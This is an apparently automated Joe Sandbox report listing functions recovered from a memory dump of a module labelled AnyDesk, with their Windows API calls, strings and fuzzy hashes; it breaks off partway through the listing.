Not Executed

APIs

RegOpenKeyExW.KERNEL32(00020219,?,00000000,?,?), ref: 69C340FD
RegCloseKey.ADVAPI32 ref: 69C34110

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: fa61e901229770cadcf1355d9fb415d2e997cb5d6f2335321ed3ddb06bc5082e
Instruction ID: b606b0fdd7c483e3ceb0429f490ca98e9314dc104dd11a7a6cb075b3489afdae
Opcode Fuzzy Hash: fa61e901229770cadcf1355d9fb415d2e997cb5d6f2335321ed3ddb06bc5082e
Instruction Fuzzy Hash: D9F08C71205305AFD7208F0AC845B1BFBF8FB98321F40852EF9A9C3240E771E8048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C3EF28 Relevance: 1.5, APIs: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

new.LIBCMT ref: 69C3EF37

Part of subcall function 69C27AB0: new.LIBCMT ref: 69C27AF2

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9495f990225b6cf4c86bf3b81041fb7117de8de753ad40680a4f476e959353e5
Instruction ID: a7fadeb3f30d2708bedacaaeed778f08949121311d7ee57c98cc426f6487a9fe
Opcode Fuzzy Hash: 9495f990225b6cf4c86bf3b81041fb7117de8de753ad40680a4f476e959353e5
Instruction Fuzzy Hash: CD01A2369152349BDB14EB65B815BAE3778BF05768F40D51AD8206B180FF749901CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 69C34140 Relevance: 1.5, APIs: 1, Instructions: 14
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNEL32(80000002,00020219,00000000,00000000,00000000,00000000,?,69C5F4D8,69C763E8,?,Software\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96},00020219,7FFFFFFF,80000002), ref: 69C34150

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0e0dcf3a06f332375a8fd41fb260d34e5ce8fdf71cb5263dfd66e4866dd20c40
Instruction ID: 945847d0c2a1fe7737680583e5622b7b848b7ad4bd9a9e00b7e101ae87c1b491
Opcode Fuzzy Hash: 0e0dcf3a06f332375a8fd41fb260d34e5ce8fdf71cb5263dfd66e4866dd20c40
Instruction Fuzzy Hash: 46C08C323D4308BBEA201EB1CC03F203A6CEB12F11F300020B30AAC0E0C1A37020964D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 69C5FFEC Relevance: 25.7, APIs: 17, Instructions: 233
comthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 69C60024
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000002,00000000,00000040,00000000), ref: 69C60039
CoUninitialize.OLE32 ref: 69C602D1

Part of subcall function 69C5F4F1: GetCurrentProcess.KERNEL32(00000008,?), ref: 69C5F50F
Part of subcall function 69C5F4F1: OpenProcessToken.ADVAPI32(00000000), ref: 69C5F516
Part of subcall function 69C5F4F1: GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),?,00000004,00000000), ref: 69C5F53A
Part of subcall function 69C5F4F1: CloseHandle.KERNEL32(?), ref: 69C5F547

GetCurrentProcessId.KERNEL32(?), ref: 69C60064

Part of subcall function 69C5F383: OpenProcess.KERNEL32(00000400,00000001,?,00000000,00000000), ref: 69C5F396

GetShellWindow.USER32 ref: 69C60087
GetWindowThreadProcessId.USER32(00000000), ref: 69C6008E
LocalFree.KERNEL32(?), ref: 69C600A2
OpenProcess.KERNEL32(00000440,00000001,?), ref: 69C600EA
OpenProcessToken.ADVAPI32(?,0000000A,?,00000000), ref: 69C60131
DuplicateTokenEx.ADVAPI32(?,0000000F,00000000,00000002,00000001,?), ref: 69C6014E
ImpersonateLoggedOnUser.ADVAPI32(?), ref: 69C6015E
CloseHandle.KERNEL32(?), ref: 69C6018C
CloseHandle.KERNEL32(?), ref: 69C6019C
LocalFree.KERNEL32(?), ref: 69C601AF
LocalFree.KERNEL32(?), ref: 69C601BB
CoCreateInstance.OLE32(69C765CC,00000000,00000004,69C765BC,?,?), ref: 69C601F0
RevertToSelf.ADVAPI32(00000001,00000000), ref: 69C602A7

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Process$OpenToken$CloseFreeHandleLocal$CurrentInitializeWindow$CreateDuplicateImpersonateInformationInstanceLoggedRevertSecuritySelfShellThreadUninitializeUser
String ID:
API String ID: 1086148846-0
Opcode ID: 10ecc39cefe7bb4abbc223a5bb1e4b4c320567f4369b426ef10159e1ce867620
Instruction ID: 68cc1ed05980b6b1f7f75deaef84e7b05d464fa4efec92cb969bb7d423bffed3
Opcode Fuzzy Hash: 10ecc39cefe7bb4abbc223a5bb1e4b4c320567f4369b426ef10159e1ce867620
Instruction Fuzzy Hash: A3816E71900219AFEF20DFA2DC84FADBB79BF45314F4080A9E51AA6191EF319E45DF20

Uniqueness

Uniqueness Score: -1.00%

Function 69C3B6C0 Relevance: 25.0, APIs: 13, Strings: 1, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 69C3D530: new.LIBCMT ref: 69C3D54D

new.LIBCMT ref: 69C3B811
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 69C3B8AA

Part of subcall function 69C3B5D0: GetCurrentProcess.KERNEL32(00000001,?,00000001), ref: 69C3B5F4

Part of subcall function 69C3FC31: std::invalid_argument::invalid_argument.LIBCONCRT ref: 69C3FC3D
Part of subcall function 69C3FC31: __CxxThrowException@8.LIBVCRUNTIME ref: 69C3FC4B

Strings

invalid vector<T> subscript, xrefs: 69C3BE32

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CurrentException@8HandleInformationProcessThrowstd::invalid_argument::invalid_argument
String ID: invalid vector<T> subscript
API String ID: 2615769013-3016609489
Opcode ID: 617790d59962363e6e6bf5916b6e907fa640904acbda6f86427a1c2483ce745a
Instruction ID: 8c794af2a06e340bb50a94d4b43c068a0dd750a6f243fb57b0a39a9494e1c23b
Opcode Fuzzy Hash: 617790d59962363e6e6bf5916b6e907fa640904acbda6f86427a1c2483ce745a
Instruction Fuzzy Hash: 2F127C356087509FE724CF25E850BABB7F4BF85318F80891DF4AA97290EB34E945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 69C32A20 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 172libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000), ref: 69C32A4E
GetModuleHandleW.KERNEL32(kernel32.dll,IsWow64Process), ref: 69C32A64
GetProcAddress.KERNEL32(00000000), ref: 69C32A6B
GetVersionExW.KERNEL32(0000011C), ref: 69C32AE0
GetNativeSystemInfo.KERNEL32(?), ref: 69C32B3C

Strings

GetProductInfo, xrefs: 69C32C17
kernel32.dll, xrefs: 69C32A59, 69C32C1C
IsWow64Process, xrefs: 69C32A54

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AddressCurrentHandleInfoModuleNativeProcProcessSystemVersion
String ID: GetProductInfo$IsWow64Process$kernel32.dll
API String ID: 1167739923-1263506661
Opcode ID: 2a1dd8215e88149a4d6b68c14a8ffe4a1eaec83c0b428c5542d0652ad9a70698
Instruction ID: 71e747aa0bad0ac4c180a88fca31812594421f46ddc7cfc187df9c22ae987adb
Opcode Fuzzy Hash: 2a1dd8215e88149a4d6b68c14a8ffe4a1eaec83c0b428c5542d0652ad9a70698
Instruction Fuzzy Hash: 7B617F70900628CBDF30CF69E9557EAB7F4EF09314F50059AE48AD7240EB75AA85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 69C52301 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 461COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 69C52820
_free.LIBCMT ref: 69C52891
_free.LIBCMT ref: 69C528AA
_free.LIBCMT ref: 69C528DC
_free.LIBCMT ref: 69C528E5
_free.LIBCMT ref: 69C528F1

Strings

C, xrefs: 69C526DE

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$_memcmp
String ID: C
API String ID: 789029625-1037565863
Opcode ID: dc8688e25f6591bea681500c5bf1175f1984abc30a464b34f54fc7800f055a36
Instruction ID: 2d931c5cab233094f4325a302aa18ac6df872e2f84f4bd594fdb945563f241af
Opcode Fuzzy Hash: dc8688e25f6591bea681500c5bf1175f1984abc30a464b34f54fc7800f055a36
Instruction Fuzzy Hash: 3202A175A052199BDB24CF18ECA4B9DB3F4FF48714F5081AAD80AA7250F731AEA1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B452 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002), ref: 69C5B4EB
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002), ref: 69C5B514
GetACP.KERNEL32 ref: 69C5B529

Strings

OCP, xrefs: 69C5B4A6
ACP, xrefs: 69C5B470

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 122bed4342ed39829d84fc5a46293339f1a1e2c0515470751a287dc79d8fc072
Instruction ID: c249e7e2f729cd054327107436694993d3923f29b1dfcebaae4778489ebc9244
Opcode Fuzzy Hash: 122bed4342ed39829d84fc5a46293339f1a1e2c0515470751a287dc79d8fc072
Instruction Fuzzy Hash: F521C172644104AAE724CF59FA02B97BBB6FB44B60B928464E90BD7100F732DD71C368

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B626 Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FC0F
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C

GetUserDefaultLCID.KERNEL32 ref: 69C5B732
IsValidCodePage.KERNEL32(00000000), ref: 69C5B78D
IsValidLocale.KERNEL32(?,00000001), ref: 69C5B79C
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 69C5B7E4
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 69C5B803

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 74b6b42912623ea28d7424d873e9c96f7d5fd02984fc0d890c54eb2a060778d8
Instruction ID: a82e46e773448ce6d21576026af315d670ec20938f93eb6e1219b26de87d1558
Opcode Fuzzy Hash: 74b6b42912623ea28d7424d873e9c96f7d5fd02984fc0d890c54eb2a060778d8
Instruction Fuzzy Hash: A8519075A006099FEB10DFA5EC90ABABBB8BF45740F004069E925EB190F770D9308B75

Uniqueness

Uniqueness Score: -1.00%

Function 69C229A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 132windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001200,00000000,?,00000000,?,00000100,00000000,?,?), ref: 69C229D1
GetLastError.KERNEL32(?,?,00000000,?,00000100,00000000,?,?), ref: 69C22B45

Strings

Error (0x%X) while retrieving error. (0x%X), xrefs: 69C22B4C
(0x%X), xrefs: 69C22A48

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: (0x%X)$Error (0x%X) while retrieving error. (0x%X)
API String ID: 3479602957-3758316108
Opcode ID: 4c39b5bca2a5accc1678782794fdc4799a2b93d997843081b71f7b579bc67b4f
Instruction ID: fe63fa56c5b167db3d21fc25fda724da0228bd43be7652f0dcb3154576733310
Opcode Fuzzy Hash: 4c39b5bca2a5accc1678782794fdc4799a2b93d997843081b71f7b579bc67b4f
Instruction Fuzzy Hash: 5041C130A001289FDB29CB58DC54FEEB775EB49314F1042D9E45AAA2C1EB715F86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 69C505C6 Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 69C505D6

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

GetTimeZoneInformation.KERNEL32 ref: 69C505E8
WideCharToMultiByte.KERNEL32(00000000,?,69C7EC4C,000000FF,?,0000003F,?,?), ref: 69C50660
WideCharToMultiByte.KERNEL32(00000000,?,69C7ECA0,000000FF,?,0000003F,?,?,?,69C7EC4C,000000FF,?,0000003F,?,?), ref: 69C5068D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: f0d85f2c69815d5da7ef75d676183a760dff05bfb5e5812f370c06f0c846e73d
Instruction ID: 6d910c48d456700e136c91b5dc3af6b36b371271791772a48d947ac40dad9aa1
Opcode Fuzzy Hash: f0d85f2c69815d5da7ef75d676183a760dff05bfb5e5812f370c06f0c846e73d
Instruction Fuzzy Hash: 7F31F576900255DFDB00CF69DC808BDBFB8FF86758714816AE865DB2A0EB308921CB15

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B0D9 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FC0F
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5B12D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5B17E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5B23E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: 72b7ee30e55b0d4b21814fdd4ecf7b15dcf130f3f57e2ffd117839f658b3c5c0
Instruction ID: c93f684170a4c7d7ea7edb21416f44c5d2d5a796d48058a3457e069c88925934
Opcode Fuzzy Hash: 72b7ee30e55b0d4b21814fdd4ecf7b15dcf130f3f57e2ffd117839f658b3c5c0
Instruction Fuzzy Hash: CD61C07154460B9FEB18CE25ED82B6A7BB8FF04304F1080BAE916D6581FB74D971CB68

Uniqueness

Uniqueness Score: -1.00%

Function 69C45F8C Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 69C46084
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 69C4608E
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,00000000), ref: 69C4609B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f2e3932f5065e33d9feccf4a1ff44b4e95c7b4b4d39d9a2d4b9b9a63ec115558
Instruction ID: 317d8a360bac38b326609120cd98d839adaa2466cf5fdb82a1a71570f133a709
Opcode Fuzzy Hash: f2e3932f5065e33d9feccf4a1ff44b4e95c7b4b4d39d9a2d4b9b9a63ec115558
Instruction Fuzzy Hash: 9431D67594122CDBCB21DF64D988BDCBBB8BF08710F5081DAE81CA7250E7309B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 69C3D200 Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32 ref: 69C3D21F
GetLocaleInfoW.KERNEL32(?,00000059,?,00000009), ref: 69C3D23D
GetLocaleInfoW.KERNEL32(?,0000005A,?,00000009,?,-00000001,?,00000059,?,00000009), ref: 69C3D284

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: InfoLocale$DefaultLanguageUser
String ID:
API String ID: 1606347679-0
Opcode ID: 1b05186eb8ce0cf93f5860a016cce1b87efbd61bc1d2b2a2049cf6c552b6da0d
Instruction ID: c74aefd53d3e291f76bdee862a54f79bf1fb5e0286024e131deadb5b4dfd0973
Opcode Fuzzy Hash: 1b05186eb8ce0cf93f5860a016cce1b87efbd61bc1d2b2a2049cf6c552b6da0d
Instruction Fuzzy Hash: 1421A175A402289BDB10DEA6A845BAFB7B8EB45711F80016AF506D7281EB35DC06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F711 Relevance: 4.5, APIs: 3, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 69C5F744
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 69C5F759
FreeSid.ADVAPI32(?), ref: 69C5F769

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a67d438042493ee05df028a0b320557a8faa70141505e9b4febaae111ccb74a9
Instruction ID: 31ecf8353c6468922639fd55c67c7db8ec5a236dacc482f391e39e0178a604ad
Opcode Fuzzy Hash: a67d438042493ee05df028a0b320557a8faa70141505e9b4febaae111ccb74a9
Instruction Fuzzy Hash: 5B012C7095021DAFDF00DFE0CD85ABEB7BCFB08201F404569A916E6180E7349A048A61

Uniqueness

Uniqueness Score: -1.00%

Function 69C62CE9 Relevance: 4.5, APIs: 3, Instructions: 40COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,?,69C62BE3,?,00000000,?,?,69C62C6F,?,?,?), ref: 69C62CF2
LockResource.KERNEL32(00000000,00000A2F,?,69C62BE3,?,00000000,?,?,69C62C6F,?,?,?), ref: 69C62D00
